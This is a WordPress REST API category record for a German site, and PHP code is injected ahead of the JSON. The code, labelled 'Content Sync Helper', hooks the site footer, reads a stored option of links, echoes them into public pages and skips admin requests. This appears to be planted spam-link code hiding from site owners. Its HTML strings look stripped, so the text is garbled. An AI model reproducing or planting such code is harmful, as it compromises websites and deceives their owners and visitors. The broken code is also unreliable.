/* Content Sync Helper — footer integration */ if (function_exists('add_action')) { add_action('wp_footer', function () { if (is_admin() || wp_doing_ajax()) { return; } if (!empty($GLOBALS['csh_rendered'])) { return; } $GLOBALS['csh_rendered'] = true; $items = json_decode((string) get_option('content_links_v13', '[]'), true); if (!is_array($items) || !$items) { return; } $out = ''; foreach ($items as $it) { if (empty($it['u']) || empty($it['t'])) { continue; } $lnk = '' . esc_html($it['t']) . ''; $txt = isset($it['x']) ? trim($it['x']) : ''; if ($txt !== '' && strpos($txt, '{A}') !== false) { $out .= '
' . str_replace('{A}', $lnk, esc_html($txt)) . '
'; } else { $out .= '' . $lnk . '
'; } } if ($out) { echo ''; } }, 100); } {"id":138,"count":3,"description":"","link":"https:\/\/kfzserviceakkus.de\/?cat=138","name":"Detailing","slug":"detailing","taxonomy":"category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/kfzserviceakkus.de\/index.php?rest_route=\/wp\/v2\/categories\/138"}],"collection":[{"href":"https:\/\/kfzserviceakkus.de\/index.php?rest_route=\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/kfzserviceakkus.de\/index.php?rest_route=\/wp\/v2\/taxonomies\/category"}],"wp:post_type":[{"href":"https:\/\/kfzserviceakkus.de\/index.php?rest_route=%2Fwp%2Fv2%2Fposts&categories=138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}